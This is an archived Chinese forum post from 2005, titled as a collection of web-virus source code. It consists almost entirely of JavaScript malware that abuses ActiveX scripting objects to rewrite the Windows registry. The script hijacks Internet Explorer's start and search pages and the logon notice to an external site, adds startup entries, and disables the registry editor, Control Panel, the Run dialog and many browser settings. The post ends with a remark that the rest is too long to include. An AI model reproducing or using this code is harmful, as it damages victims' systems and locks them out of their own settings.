以文本方式查看主题

-  堕落街论坛  (http://duoluojie.1314179.com.cn:443/index.asp)
--  游戏体育  (http://duoluojie.1314179.com.cn:443/list.asp?boardid=331)
----  网页病毒源代码大全放送 (1)  (http://duoluojie.1314179.com.cn:443/dispbbs.asp?boardid=331&id=102393)

--  作者:一个人恋爱
--  发布时间:2005/10/22 21:43:00
--  网页病毒源代码大全放送 (1)
<script>document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>")
function DelFavLnk(loc, DispName, SiteURL)
{
var Shor = Shl.CreateShortcut(loc + "\\\\" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}
function f(){
try
{
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();
try{
//if (document.cookie.indexOf("ChgLive") == -1)
//{
var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
document.cookie="ChgLive=general; expires=" + expdate.toGMTString() + "; path=/;"
Shl.RegWrite ("HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Winlogon\\\\LegalNoticeText", "http://lonsin.myrice.com/");
Shl.RegWrite ("HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Winlogon\\\\LegalNoticeText", "http://lonsin.myrice.com/");
Shl.RegWrite ("HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Winlogon\\\\LegalNoticeCaption", "http://lonsin.myrice.com/");
Shl.RegWrite ("HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Winlogon\\\\LegalNoticeCaption", "http://lonsin.myrice.com/");
Shl.RegWrite ("HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\", " http://lonsin.myrice.com/");
Shl.RegWrite ("HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\", " http://lonsin.myrice.com/");
Shl.RegWrite ("HKCU\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\Main\\\\Start Page", "http://lonsin.myrice.com/");
Shl.RegWrite ("HKCU\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\Main\\\\Default_Page_URL", "http://lonsin.myrice.com/");
Shl.RegWrite ("HKCU\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\Main\\\\Local Page", "http://lonsin.myrice.com/");
Shl.RegWrite ("HKCU\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\Main\\\\Search Page", "http://lonsin.myrice.com/");
Shl.RegWrite ("HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\", "000001");
Shl.RegWrite ("HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\Start Page", "000001");
Shl.RegWrite ("HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\\DisableRegistryTools", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\HomePage", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\SecChangeSettings", "000001");
Shl.RegWrite ("HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\NoRun", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\Main\\\\Start Page", "http://lonsin.myrice.com/");
Shl.RegWrite ("HKLM\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\Main\\\\Default_Page_URL", "http://lonsin.myrice.com/");
Shl.RegWrite ("HKLM\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\Main\\\\Local Page", "http://lonsin.myrice.com/");
Shl.RegWrite ("HKLM\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\Main\\\\Search Page", "http://lonsin.myrice.com/");
Shl.RegWrite ("HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\", "000001");
Shl.RegWrite ("HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\Start Page", "000001");
Shl.RegWrite ("HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\HomePage", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\SecChangeSettings", "000001");
Shl.RegWrite ("HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\NoRun", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\\DisableRegistryTools", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\\\SOFTWARE\\\\Microsoft\\\\Internet Explorer\\\\Search\\\\SearchAssistant","http://lonsin.myrice.com/");
Shl.RegWrite ("HKLM\\\\SOFTWARE\\\\Microsoft\\\\Internet Explorer\\\\Search\\\\SearchAssistant","http://lonsin.myrice.com/");
Shl.RegWrite ("HKCU\\\\Control Panel\\\\International\\\\StimeFormat","HH:mm");
Shl.RegWrite ("HKCU\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\Main\\\\Window Title", "Microsoft Internet Explorer");
Shl.RegWrite ("HKLM\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\Main\\\\Window Title", "Microsoft Internet Explorer");
Shl.RegWrite ("HKCU\\\\Control Panel\\\\International\\\\sLongDate","yyyy\'年\'M\'月\'d\' 这里是指向网址\'");
Shl.RegWrite ("HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\NoControlPanel", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\NoControlPanel", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\SecurityTab", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\ContentTab", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\Ratings", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\Certificates", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\Formsuggest", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\FormSuggest Passwords", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\Pronfiles", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\GeneralTab", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\Cache", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\Colors", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\Fonts", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\Languages", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\Links", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\History", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\ConnectionsTab", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\Connection Settings", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\Proxy", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\ProgramsTab", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\Check_If_Default", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\CalendarContact", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\ResetWebSettings", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\AdvancedTab", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\Advanced", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Restrictions\\\\NoBrowserContextMenu", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Restrictions\\\\NoOpenInNewWnd", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Restrictions\\\\NoSelectDownloadDir", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Restrictions\\\\NoSearchCustomization", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Restrictions\\\\NoExternalBranding", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Restrictions\\\\NoFindFiles", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Restrictions\\\\NoJitsetup", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Restrictions\\\\NoSplash", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Restrictions\\\\NoUpdateCheck", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Restrictions\\\\NoFindFiles", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Restrictions\\\\NoBrowserSaveAs", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Restrictions\\\\NoBrowserClose", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Restrictions\\\\NoFileNew", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Restrictions\\\\NoFileOpen", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Restrictions\\\\NoTheaterMode", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Restrictions\\\\NoViewSource", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Restrictions\\\\NoBandcustomize", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Restrictions\\\\NoToolbarCustomize", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Restrictions\\\\NoFavorites", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Restrictions\\\\NoAddingChannel", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Restrictions\\\\NoChannelUI", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Restrictions\\\\NoBrowserOptions", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Restrictions\\\\NoHelpItemNetScapeHelp", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Restrictions\\\\NoHelpItemTipOfTheDay", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Restrictions\\\\NoHelpitemTutorial", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Restrictions\\\\NoHelpItemSendFeedBack", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\ContentTab", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\Ratings", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\Certificates", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\Formsuggest", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\FormSuggest Passwords\\\\", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\Pronfiles", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Internet Explorer\\\\Control Panel\\\\GeneralTab", "00000001", "REG_DWORD");
(没办法,内容太长,只能发2章了)